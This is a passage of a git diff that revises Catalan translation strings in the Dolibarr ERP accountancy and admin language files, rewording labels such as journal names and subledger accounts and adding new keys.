b/htdocs/langs/ca_ES/accountancy.lang index e640d6fe233..fb08eca1b7f 100644 --- a/htdocs/langs/ca_ES/accountancy.lang +++ b/htdocs/langs/ca_ES/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Seleccioneu el tipus de retorn ACCOUNTING_EXPORT_PREFIX_SPEC=Especifica el prefix del nom del fitxer ThisService=Aquest servei ThisProduct=Aquest producte -DefaultForService=Defecte per al servei -DefaultForProduct=Defecte per al producte +DefaultForService=Per defecte als serveis +DefaultForProduct=Per defecte als productes ProductForThisThirdparty=Producte per a aquest tercer ServiceForThisThirdparty=Servei per a aquest tercer CantSuggest=No es pot suggerir @@ -30,7 +30,7 @@ ChartOfSubaccounts=Pla de comptes individuals ChartOfIndividualAccountsOfSubsidiaryLedger=Pla de comptes individuals del llibre major CurrentDedicatedAccountingAccount=Compte dedicat actual AssignDedicatedAccountingAccount=Compte nou per a assignar -InvoiceLabel=Etiqueta de factura +InvoiceLabel=Nom de la factura OverviewOfAmountOfLinesNotBound=Vista general de la quantitat de línies no comptabilitzades en un compte comptable OverviewOfAmountOfLinesBound=Vista general de la quantitat de línies ja comptabilitzades en un compte comptable OtherInfo=Una altra informació @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Compte comptable principal per a proveïdors n MainAccountForUsersNotDefined=Compte comptable per a usuaris no de definit en la configuració MainAccountForVatPaymentNotDefined=Compte comptable per a IVA no definida en la configuració MainAccountForSubscriptionPaymentNotDefined=Compte comptable per a IVA no definida en la configuració del mòdul +UserAccountNotDefined=Compte comptable per a l'usuari no definit a la configuració AccountancyArea=Àrea de comptabilitat AccountancyAreaDescIntro=L'ús del mòdul de comptabilitat es realitza en diverses etapes: @@ -94,13 +95,14 @@ ChangeAndLoad=Canviar i carregar Addanaccount=Afegir un compte comptable AccountAccounting=Compte comptable AccountAccountingShort=Compte -SubledgerAccount=Subcompte comptable -SubledgerAccountLabel=Títol del subcompte comptable +SubledgerAccount=Compte de subllibre +SubledgerAccountLabel=Nom del compte de subllibre ShowAccountingAccount=Mostrar diari de comptes ShowAccountingJournal=Mostrar diari comptable ShowAccountingAccountInLedger=Mostra el compte comptable al Llibre major ShowAccountingAccountInJournals=Mostra el compte comptable als diaris -AccountAccountingSuggest=Compte comptable suggerit +DataUsedToSuggestAccount=Dades utilitzades per a suggerir un compte +AccountAccountingSuggest=Compte suggerit MenuDefaultAccounts=Comptes per defecte MenuBankAccounts=Comptes bancaris MenuVatAccounts=Comptes d'IVA @@ -123,8 +125,9 @@ UpdateMvts=Modificació d'una transacció ValidTransaction=Valida l'assentament WriteBookKeeping=Registrar transaccions en comptabilitat Bookkeeping=Llibre major -BookkeepingSubAccount=Subcompte +BookkeepingSubAccount=Subquadern AccountBalance=Compte saldo +AccountBalanceSubAccount=Saldo de subcomptes ObjectsRef=Referència de l'objecte origen CAHTF=Total de compra a Proveïdor abans d'impostos TotalExpenseReport=Informe de despeses totals @@ -164,59 +167,63 @@ ACCOUNTANCY_COMBO_FOR_AUX=Activa la llista combinada per a un compte subsidiari ACCOUNTING_DATE_START_BINDING=Definiu una data per a començar la vinculació i transferència a la comptabilitat. Per sota d’aquesta data, les transaccions no es transferiran a la comptabilitat. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=En la transferència comptable, quin és el període seleccionat per defecte -ACCOUNTING_SELL_JOURNAL=Diari de venda -ACCOUNTING_PURCHASE_JOURNAL=Diari de compra -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diaris varis +ACCOUNTING_SELL_JOURNAL=Diari de vendes: vendes i devolucions +ACCOUNTING_PURCHASE_JOURNAL=Diari de compres: compres i devolucions +ACCOUNTING_BANK_JOURNAL=Diari d'efectiu: rebuts i desemborsaments ACCOUNTING_EXPENSEREPORT_JOURNAL=Diari de l'informe de despeses -ACCOUNTING_SOCIAL_JOURNAL=Diari social +ACCOUNTING_MISCELLANEOUS_JOURNAL=Diari general ACCOUNTING_HAS_NEW_JOURNAL=Té un nou Diari +ACCOUNTING_INVENTORY_JOURNAL=Diari d'inventari +ACCOUNTING_SOCIAL_JOURNAL=Diari social ACCOUNTING_RESULT_PROFIT=Compte de comptes de resultats (benefici) ACCOUNTING_RESULT_LOSS=Compte de resultats comptable (pèrdua) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Revista de tancament -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Compte de comptabilitat de la transferència bancària de transició +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Compte (del pla comptable) que s'utilitzarà com a compte per a transferències bancàries transitòries TransitionalAccount=Compte de transferència bancària transitòria -ACCOUNTING_ACCOUNT_SUSPENSE=Compte comptable d'espera -DONATION_ACCOUNTINGACCOUNT=Compte comptable per a registrar les donacions -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Compte comptable per a registrar les donacions +ACCOUNTING_ACCOUNT_SUSPENSE=Compte (del pla comptable) que s'utilitzarà com a compte per als fons no assignats, ja siguin rebuts o pagats, és a dir, fons en "espera" +DONATION_ACCOUNTINGACCOUNT=Compte (del pla comptable) que s'utilitzarà per a registrar donacions (mòdul de donacions) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Compte (del pla comptable) que s'utilitzarà per a registrar les subscripcions de socis (mòdul d'afiliació - si l'afiliació es registra sense factura) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Compte comptable per defecte per a registrar el dipòsit del client +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per registrar el dipòsit del client UseAuxiliaryAccountOnCustomerDeposit=Emmagatzema el compte del client com a compte individual al llibre major subsidiari per a les línies de pagament inicial (si està desactivat, el compte individual per a les línies de pagament inicial romandrà buit) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Compte comptable per defecte per a registrar el dipòsit del proveïdor +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Compte (del pla comptable) que s'utilitzarà com a predeterminat UseAuxiliaryAccountOnSupplierDeposit=Emmagatzema el compte del proveïdor com a compte individual al llibre major subsidiari per a les línies de pagament inicial (si està desactivat, el compte individual de les línies de pagament inicial romandrà buit) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Compte comptable per defecte per a registrar la garantia retinguda del client -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Compte comptable per defecte per als productes comprats (utilitzat si no es defineix en el producte) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Compte de comptabilitat per defecte dels productes comprats a la CEE (utilitzat si no està definit a la taula de productes) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Compte de comptabilitat per defecte dels productes comprats i importats fora de la CEE (utilitzat si no està definit a la taula de productes) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Compte comptable per defecte pels productes venuts (s'utilitza si no es defineix en el full de producte) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Compte comptable per defecte per als productes venuts a la CEE (utilitzat si no es defineix en el producte) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Compte comptable per defecte per als productes venuts d'exportació (utilitzat si no es defineix en el producte) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als productes comprats al mateix país (utilitzat si no està definit a la fitxa del producte) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als productes comprats des de la CEE a un altre país de la CEE (utilitzat si no està definit a la fitxa del producte) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als productes comprats i importats de qualsevol altre país estranger (utilitzat si no està definit a la fitxa del producte) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als productes venuts (utilitzat si no està definit a la fitxa del producte) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als productes venuts des de la CEE a un altre país de la CEE (utilitzat si no està definit a la fitxa del producte) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als productes venuts i exportats a qualsevol altre país estranger (utilitzat si no està definit a la fitxa del producte) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Compte comptable per defecte per als serveis adquirits (s'utilitza si no es defineix en el full de servei) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Compte de comptabilitat per defecte dels serveis comprats a la CEE (utilitzat si no està definit a la taula de serveis) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Compte de comptabilitat per defecte dels serveis comprats i importats fora de la CEE (utilitzat si no està definit a la taula de serveis) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Compte comptable per defecte per als serveis venuts (s'utilitza si no es defineix en el full de servei) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Compte comptable per defecte per als serveis venuts a la CEE (utilitzat si no es defineix en el servei) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Compte comptable per defecte per als serveis venuts i exportats fora de la CEE (utilitzat si no es defineix en el servei) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als serveis adquirits al mateix país (utilitzat si no està definit al full de servei) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als serveis adquirits de la CEE a un altre país de la CEE (utilitzat si no està definit al full de servei) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als serveis comprats i importats d'un altre país estranger (utilitzat si no està definit al full de servei) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als serveis venuts (utilitzat si no està definit al full de servei) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als serveis venuts des de la CEE a un altre país de la CEE (utilitzat si no està definit al full de servei) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per als serveis venuts i exportats a qualsevol altre país estranger (utilitzat si no està definit al full de servei) Doctype=Tipus de document Docdate=Data Docref=Referència -LabelAccount=Etiqueta de compte -LabelOperation=Etiqueta de l'operació +LabelAccount=Nom del compte +LabelOperation=Nom de l'operació Sens=Direcció AccountingDirectionHelp=Per a un compte comptable d'un client, utilitzeu Crèdit per a registrar un pagament que heu rebut
      Per a un compte comptable d'un proveïdor, utilitzeu Dèbit per a registrar el pagament que heu fet LetteringCode=Codi de retolació Lettering=Lletres Codejournal=Diari -JournalLabel=Títol de Diari +JournalLabel=Nom del diari NumPiece=Número de peça TransactionNumShort=Número de transacció -AccountingCategory=Grup personalitzat +AccountingCategory=Grup de comptes personalitzat +AccountingCategories=Grups de comptes personalitzats GroupByAccountAccounting=Agrupa per compte major -GroupBySubAccountAccounting=Agrupa per subcompte comptable +GroupBySubAccountAccounting=Agrupa per compte del subllibre AccountingAccountGroupsDesc=Podeu definir aquí alguns grups de comptes comptables. S'utilitzaran per a informes comptables personalitzats. ByAccounts=Per comptes ByPredefinedAccountGroups=Per grups predefinits @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Això suprimirà totes les línies de comptabilitat per a l'any ConfirmDeleteMvtPartial=Això suprimirà la transacció de la comptabilitat (se suprimiran totes les línies relacionades amb la mateixa transacció) FinanceJournal=Diari de finances ExpenseReportsJournal=Informe-diari de despeses +InventoryJournal=Diari d'inventari DescFinanceJournal=Diari financer que inclou tots els tipus de pagaments per compte bancari DescJournalOnlyBindedVisible=Aquesta és una vista de registre que està vinculada a un compte comptable i que es pot registrar als diaris i llibres majors. VATAccountNotDefined=Comptes comptables d'IVA sense definir @@ -250,9 +258,9 @@ DescThirdPartyReport=Consulteu aquí la llista dels clients i proveïdors de ter ListAccounts=Llistat dels comptes comptables UnknownAccountForThirdparty=Compte comptable de tercer desconeguda, utilitzarem %s UnknownAccountForThirdpartyBlocking=Compte comptable de tercer desconegut. Error de bloqueig -ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Compte Subterrani no definit o desconegut per tercers o usuaris. Utilitzarem %s +ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Compte de subllibre no definit o tercer o usuari desconegut. Utilitzarem %s ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Tercer desconegut i subcompte comptable no definit al pagament. Es manté buit el valor del subcompte comptable. -ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Compte Subterrani no definit o desconegut per tercers o usuaris. Error de bloqueig. +ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Compte de subllibre no definit o tercer o usuari desconegut. Error de bloqueig. UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Compte de tercers desconegut i compte d'espera no definit. Error de bloqueig PaymentsNotLinkedToProduct=Pagament no vinculat a cap producte / servei OpeningBalance=Saldo d'obertura @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Mostra el subtotal per nivell Pcgtype=Grup de comptes PcgtypeDesc=S'utilitzen grups de comptes com a criteris predefinits de «filtre» i «agrupació» per a alguns informes de comptabilitat. Per exemple, «INGRESSOS» o «DESPESES» s'utilitzen com a grups per a comptes comptables de productes per a crear l'informe de despeses/ingressos. +AccountingCategoriesDesc=El grup de comptes personalitzat es pot utilitzar per a agrupar els comptes comptables en un sol nom per a facilitar l'ús del filtre o la creació d'informes personalitzats. Reconcilable=Reconciliable TotalVente=Total turnover before tax TotalMarge=Marge total de vendes -DescVentilCustomer=Consulti aquí la llista de línies de factures de client vinculades (o no) a comptes comptables de producte -DescVentilMore=En la majoria dels casos, si utilitzeu productes o serveis predefinits i poses el número de compte a la fitxa de producte/servei, l'aplicació serà capaç de fer tots els vincles entre les línies de factura i els comptes comptables del vostre pla comptable, només amb un clic mitjançant el botó «%s». Si el compte no està col·locat a la fitxa del producte/servei o si encara hi ha alguna línia no vinculada a cap compte, haureu de fer una vinculació manual a partir del menú «%s». -DescVentilDoneCustomer=Consulta aquí la llista de línies de factures a clients i els seus comptes comptables de producte -DescVentilTodoCustomer=Comptabilitza les línies de factura encara no comptabilitzades amb un compte comptable de producte -ChangeAccount=Canvia el compte comptable de producte/servei per les línies seleccionades amb el següent compte comptable: +DescVentilCustomer=Consulteu aquí la llista de línies de factura de client vinculades (o no) a un compte de producte des del pla comptable +DescVentilMore=En la majoria dels casos, si utilitzeu productes o serveis predefinits i configureu el compte (des del pla comptable) a la fitxa del producte/servei, l'aplicació podrà fer tota la vinculació entre les vostres línies de factura i el compte del vostre pla comptable, només amb un clic amb el botó «%s» . Si el compte no s'ha establert a les fitxes de producte/servei o si encara teniu algunes línies no vinculades a un compte, haureu de fer una vinculació manual des del menú «%s». +DescVentilDoneCustomer=Consulteu aquí la llista de les línies de factures dels clients i el seu compte de producte des del pla comptable +DescVentilTodoCustomer=Enllaçar línies de factura que encara no estiguin vinculades amb un compte de producte del pla comptable +ChangeAccount=Canvieu el compte de producte/servei (del pla comptable) per a les línies seleccionades amb el compte següent: Vide=- -DescVentilSupplier=Consulteu aquí la llista de les línies de facturació dels proveïdors vinculades o encara no lligades a un compte comptable de producte (només es poden veure els registres no transferits a comptabilitat) +DescVentilSupplier=Consulteu aquí la llista de línies de factura de proveïdor vinculades o encara no vinculades a un compte de producte des del pla comptable (només són visibles els registres no transferits a la comptabilitat) DescVentilDoneSupplier=Consulteu aquí la llista de les línies de venedors de factures i el seu compte comptable DescVentilTodoExpenseReport=Línies d'informes de despeses comptabilitzades encara no comptabilitzades amb un compte comptable de tarifa DescVentilExpenseReport=Consulteu aquí la llista de les línies d'informe de despeses vinculada (o no) a un compte comptable corresponent a tarifa @@ -286,20 +295,21 @@ DescClosure=Consulta aquí el nombre de moviments per mes encara no validats i b OverviewOfMovementsNotValidated=Visió general dels moviments no validats i bloquejats AllMovementsWereRecordedAsValidated=Tots els moviments es van registrar com a validats i bloquejats NotAllMovementsCouldBeRecordedAsValidated=No tots els moviments es van poder registrar com a validats i bloquejats -ValidateMovements=Valida i bloqueja el registre... +ValidateMovements=Valida i bloqueja moviments... DescValidateMovements=Queda prohibida qualsevol modificació o supressió de registres. Totes les entrades d’un exercici s’han de validar, en cas contrari, el tancament no serà possible ValidateHistory=Comptabilitza automàticament AutomaticBindingDone=Enllaços automàtics fets (%s): l'enllaç automàtic no és possible per a alguns registres (%s) +DoManualBindingForFailedRecord=Heu de fer un enllaç manual per a les %s files no enllaçades automàticament. -ErrorAccountancyCodeIsAlreadyUse=Error, no pots eliminar aquest compte comptable perquè està en ús +ErrorAccountancyCodeIsAlreadyUse=Error, no podeu eliminar ni desactivar aquest compte del pla comptable perquè està en ús MvtNotCorrectlyBalanced=Moviment no equilibrat correctament. Dèbit = %s i crèdit = %s Balancing=Saldo FicheVentilation=Fitxa de comptabilització GeneralLedgerIsWritten=Els assentaments s'han escrit al Llibre Major GeneralLedgerSomeRecordWasNotRecorded=Alguns dels assentaments no van poder ser registrats al diari. Si no hi ha cap altre missatge d'error, probablement és perquè ja es van registrar al diari. NoNewRecordSaved=No hi ha més registres per a transferir -ListOfProductsWithoutAccountingAccount=Llista de productes no comptabilitzats en cap compte comptable +ListOfProductsWithoutAccountingAccount=Llista de productes no vinculats a cap compte del pla comptable ChangeBinding=Canvia la comptabilització Accounted=Comptabilitzat en el llibre major NotYetAccounted=Encara no s'ha traslladat a la comptabilitat @@ -322,20 +332,25 @@ AccountingJournalType1=Operacions diverses AccountingJournalType2=Vendes AccountingJournalType3=Compres AccountingJournalType4=Banc -AccountingJournalType5=Informe de despeses +AccountingJournalType5=Informes de despeses AccountingJournalType8=Inventari AccountingJournalType9=Haver +GenerationOfAccountingEntries=Generació d'assentaments comptables ErrorAccountingJournalIsAlreadyUse=Aquest diari ja està en ús -AccountingAccountForSalesTaxAreDefinedInto=Nota: el compte de comptes de l'impost de vendes es defineix al menú %s - %s +AccountingAccountForSalesTaxAreDefinedInto=Nota: El compte comptable per a l'impost de vendes es defineix al menú %s - %s NumberOfAccountancyEntries=Nombre d'entrades NumberOfAccountancyMovements=Nombre de moviments ACCOUNTING_DISABLE_BINDING_ON_SALES=Desactiva la vinculació i transferència de comptabilitat en vendes (les factures dels clients no es tindran en compte a la comptabilitat) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Desactiva la vinculació i transferència a la comptabilitat de les compres (les factures de proveïdors no es tindran en compte a la comptabilitat) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Desactiva la vinculació i transferència de comptes en els informes de despeses (els informes de despeses no es tindran en compte a la comptabilitat) +ACCOUNTING_ENABLE_LETTERING=Habiliteu la funció de lletres a la comptabilitat +ACCOUNTING_ENABLE_AUTOLETTERING=Habiliteu la lletra automàtica en traspassar a la comptabilitat ## Export -NotifiedExportDate=Marca les línies exportades com a Exportades (per a modificar una línia, hauràs de suprimir tota la transacció i tornar-la a transferir a la comptabilitat) -NotifiedValidationDate=Validar i bloquejar les entrades exportades (mateix efecte que la característica "%s", la modificació i la supressió de les línies DEFINITIVAMENT no seran possibles) +NotExportLettering=No exporteu la lletra en generar el fitxer +NotifiedExportDate=Marca les línies exportades com a Exportades (per a modificar una línia, hauràs de suprimir tota la transacció i tornar-la a transferir a la comptabilitat) +NotifiedValidationDate=Validar i bloquejar les entrades exportades (mateix efecte que la característica "%s", la modificació i la supressió de les línies DEFINITIVAMENT no seran possibles) +NotifiedExportFull=Exportar documents? DateValidationAndLock=Validació de data i bloqueig ConfirmExportFile=Confirmació de la generació del fitxer d'exportació comptable? ExportDraftJournal=Exporta els esborranys del llibre @@ -392,7 +407,7 @@ SaleLocal=Venda local SaleExport=Venda d’exportació SaleEEC=Venda en CEE SaleEECWithVAT=Venda a la CEE amb un IVA que no és nul, per la qual cosa suposem que NO es tracta d’una venda intracomunitària i el compte suggerit és el compte estàndard del producte. -SaleEECWithoutVATNumber=Venda a la CEE sense IVA, però l’identificador d’IVA del tercer no està definit. S'ha emprat el compte del producte per a vendes estàndard. Podeu corregir l’identificador d’IVA del tercer o el compte del producte si cal. +SaleEECWithoutVATNumber=Venda a la CEE sense IVA, però l'identificador d'IVA del tercer no està definit. Tornem al compte de vendes estàndard. Podeu corregir l'identificador d'IVA del tercer o canviar el compte del producte suggerit per vincular-lo si cal. ForbiddenTransactionAlreadyExported=Prohibit: la transacció ha estat validada i/o exportada. ForbiddenTransactionAlreadyValidated=Prohibit: la transacció s'ha validat. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Calculat Formula=Fórmula ## Reconcile +LetteringAuto=Reconciliació automàtica +LetteringManual=Reconciliació manual Unlettering=No reconciliar +UnletteringAuto=Desconciliar automàticament +UnletteringManual=Desconciliar manual AccountancyNoLetteringModified=Cap conciliació modificada AccountancyOneLetteringModifiedSuccessfully=Una conciliació modificada amb èxit AccountancyLetteringModifiedSuccessfully=La reconciliació %s s'ha modificat correctament @@ -410,7 +429,8 @@ AccountancyOneUnletteringModifiedSuccessfully=S'ha desfet correctament una conci AccountancyUnletteringModifiedSuccessfully=%s conciliació desfeta correctament ## Confirm box -ConfirmMassUnlettering=Confirmació de desfer la conciliació massiva +ConfirmMassUnletteringAuto=Confirmació de desconciliació automàtica massiva +ConfirmMassUnletteringManual=Confirmació de desconciliació manual massiva ConfirmMassUnletteringQuestion=Esteu segur que voleu anul·lar la conciliació dels registres seleccionats %s? ConfirmMassDeleteBookkeepingWriting=Confirmació d'esborrament massiu ConfirmMassDeleteBookkeepingWritingQuestion=Això suprimirà la transacció de la comptabilitat (se suprimiran totes les línies relacionades amb la mateixa transacció) Esteu segur que voleu suprimir els registres seleccionats %s? @@ -418,34 +438,35 @@ ConfirmMassDeleteBookkeepingWritingQuestion=Això suprimirà la transacció de l ## Error SomeMandatoryStepsOfSetupWereNotDone=No s'han fet alguns passos obligatoris de configuració, si us plau, completeu-los ErrorNoAccountingCategoryForThisCountry=No hi ha cap grup de comptes comptables disponible per al país %s (Vegeu Inici - Configuració - Diccionaris) -ErrorInvoiceContainsLinesNotYetBounded=Intenta actualitzar algunes línies de la factura %s , però algunes altres encara no estan vinculades al compte de comptabilitat. Es rebutja el registre comptable de totes les línies d'aquesta factura. +ErrorInvoiceContainsLinesNotYetBounded=Intenteu registrar algunes línies de la factura %s, però algunes altres línies encara no estan vinculades al compte comptable. Es denega el registre al diari de totes les línies d'aquesta factura. ErrorInvoiceContainsLinesNotYetBoundedShort=Algunes línies a la factura no estan vinculades al compte de comptabilitat. ExportNotSupported=El format d'exportació configurat no està suportat en aquesta pàgina BookeppingLineAlreayExists=Les línies ja existeixen en la comptabilitat NoJournalDefined=Cap diari definit Binded=Línies comptabilitzades ToBind=Línies a comptabilitzar -UseMenuToSetBindindManualy=Línies encara no enllaçades, utilitzeu el menú %s per a fer l'enllaç manualment +UseMenuToSetBindindManualy=Línies encara no enllaçades, utilitzeu el menú %s per a fer l'enllaç manualment SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Ho sentim, aquest mòdul no és compatible amb la funció experimental de les factures de situació AccountancyErrorMismatchLetterCode=No coincideix en el codi de conciliació AccountancyErrorMismatchBalanceAmount=El saldo (%s) no és igual a 0 AccountancyErrorLetteringBookkeeping=S'han produït errors relacionats amb les transaccions: %s ErrorAccountNumberAlreadyExists=El número de comptabilitat %s ja existeix +ErrorArchiveAddFile=No es pot posar el fitxer «%s» a l'arxiu ## Import ImportAccountingEntries=Entrades de comptabilitat ImportAccountingEntriesFECFormat=Entrades comptables: format FEC FECFormatJournalCode=Diari de codis (JournalCode) -FECFormatJournalLabel=Etiqueta de diari (JournalLib) +FECFormatJournalLabel=Nom de diari (JournalLib) FECFormatEntryNum=Número de peça (EcritureNum) FECFormatEntryDate=Data de la peça (EcritureDate) FECFormatGeneralAccountNumber=Número de compte general (CompteNum) -FECFormatGeneralAccountLabel=Etiqueta de compte general (CompteLib) -FECFormatSubledgerAccountNumber=Número de compte de Subledger (CompAuxNum) -FECFormatSubledgerAccountLabel=Número de compte de Subledger (CompAuxLib) +FECFormatGeneralAccountLabel=Nom de compte general (CompteLib) +FECFormatSubledgerAccountNumber=Número de compte auxiliar (CompAuxNum) +FECFormatSubledgerAccountLabel=Número de compte auxiliar (CompAuxLib) FECFormatPieceRef=Peça ref. (PieceRef) FECFormatPieceDate=Creació de la data de la peça (PieceDate) -FECFormatLabelOperation=Funcionament de l'etiqueta (EcritureLib) +FECFormatLabelOperation=Nom de l'operació (EcritureLib) FECFormatDebit=Dèbit (dèbit) FECFormatCredit=Crèdit (Crèdit) FECFormatReconcilableCode=Codi reconciliable (EcritureLet) @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=Codi multidivisa (Idevise) DateExport=Data d'exportació WarningReportNotReliable=Avís, aquest informe no està basat en el Llibre Major, de manera que no conté assentaments modificats manualment en el Llibre Major. Si el registre diari està actualitzat, la vista de comptes és més precisa. ExpenseReportJournal=Diari d'informe de despeses -InventoryJournal=Diari d'inventari +DocsAlreadyExportedAreExcluded=S'exclouen els documents ja exportats +ClickToHideAlreadyExportedLines=Feu clic per a amagar les línies ja exportades NAccounts=comptes %s diff --git a/htdocs/langs/ca_ES/admin.lang b/htdocs/langs/ca_ES/admin.lang index 133b33e1d24..1090b132747 100644 --- a/htdocs/langs/ca_ES/admin.lang +++ b/htdocs/langs/ca_ES/admin.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - admin BoldRefAndPeriodOnPDF=Imprimeix la referència i el període de la línia del producte en PDF -BoldLabelOnPDF=Imprimeix l'etiqueta del producte en negreta en PDF +BoldLabelOnPDF=Imprimeix el nom del producte en negreta en PDF Foundation=Entitat Version=Versió Publisher=Publicador @@ -31,7 +31,7 @@ SessionId=ID de sessió SessionSaveHandler=Modalitat de desar sessions SessionSavePath=Desa la ubicació de la sessió PurgeSessions=Purga de sessions -ConfirmPurgeSessions=Estàs segur de voler purgar totes les sessions? Es desconnectaran tots els usuaris (excepte tu mateix) +ConfirmPurgeSessions=Estàs segur de voler purgar totes les sessions? Això desconnectarà tots els usuaris (excepte tu mateix). NoSessionListWithThisHandler=El gestor de sessions configurat al vostre PHP no permet llistar totes les sessions en execució. LockNewSessions=Bloquejar connexions noves ConfirmLockNewSessions=Esteu segur que voleu restringir qualsevol nova connexió a Dolibarr només a vosaltres mateixos? Només l'usuari %s podrà connectar-se després d'això. @@ -51,8 +51,6 @@ ClientSortingCharset="Collation" del client WarningModuleNotActive=Mòdul %s no actiu WarningOnlyPermissionOfActivatedModules=Aquí només es mostren els permisos relacionats amb els mòduls activats. Pots activar altres mòduls en la pàgina Inici->Configuració->Mòduls. DolibarrSetup=Instal·lació/Actualització de Dolibarr -InternalUser=Usuari intern -ExternalUser=Usuari extern InternalUsers=Usuaris interns ExternalUsers=Usuaris externs UserInterface=Interfície d'usuari @@ -74,14 +72,14 @@ ErrorModuleRequireDolibarrVersion=Error, aquest mòdul requereix una versió %s ErrorDecimalLargerThanAreForbidden=Error, les precisions superiors a %s no estan suportades. DictionarySetup=Configuració de Diccionari Dictionary=Diccionaris -ErrorReservedTypeSystemSystemAuto=Els valors "sistema" i "systemauto" per al tipus estan reservats. Podeu utilitzar "user" com a valor per a afegir el vostre propi registre +ErrorReservedTypeSystemSystemAuto=El valor «system» i «systemauto» per al tipus està reservat. Podeu utilitzar «user» com a valor per a afegir el vostre propi registre ErrorCodeCantContainZero=El codi no pot contenir el valor 0 DisableJavascript=Desactivar les funcions Javascript DisableJavascriptNote=Nota: només amb finalitats de prova o depuració. Per a l'optimització de navegadors de text o de persones cegues, és possible que preferiu utilitzar la configuració al perfil de l'usuari UseSearchToSelectCompanyTooltip=A més, si teniu un gran nombre de tercers (> 100.000), podeu augmentar la velocitat establint la constant COMPANY_DONOTSEARCH_ANYWHERE a 1 a Configuració->Altres. La cerca es limitarà a l'inici de la cadena. UseSearchToSelectContactTooltip=A més, si teniu un gran nombre de tercers (> 100.000), podeu augmentar la velocitat establint la constant CONTACT_DONOTSEARCH_ANYWHERE a 1 a Configuració->Altres. La cerca es limitarà a l'inici de la cadena. -DelaiedFullListToSelectCompany=Esperar fins que es prem una tecla abans de carregar el contingut de la llista combinada de Tercers.
      Això pot augmentar el rendiment si teniu un gran nombre de tercers, però és menys convenient. -DelaiedFullListToSelectContact=Espereu fins que es prem una tecla abans de carregar el contingut de la llista combinada de contactes.
      Això pot augmentar el rendiment si teniu un gran nombre de contactes, però és menys convenient. +DelaiedFullListToSelectCompany=Espereu fins que es prem una tecla abans de carregar el contingut de la llista combinada de tercers.
      Això pot augmentar el rendiment si teniu un gran nombre de tercers, però és menys pràctic. +DelaiedFullListToSelectContact=Espereu fins que es prem una tecla abans de carregar el contingut de la llista combinada de contactes.
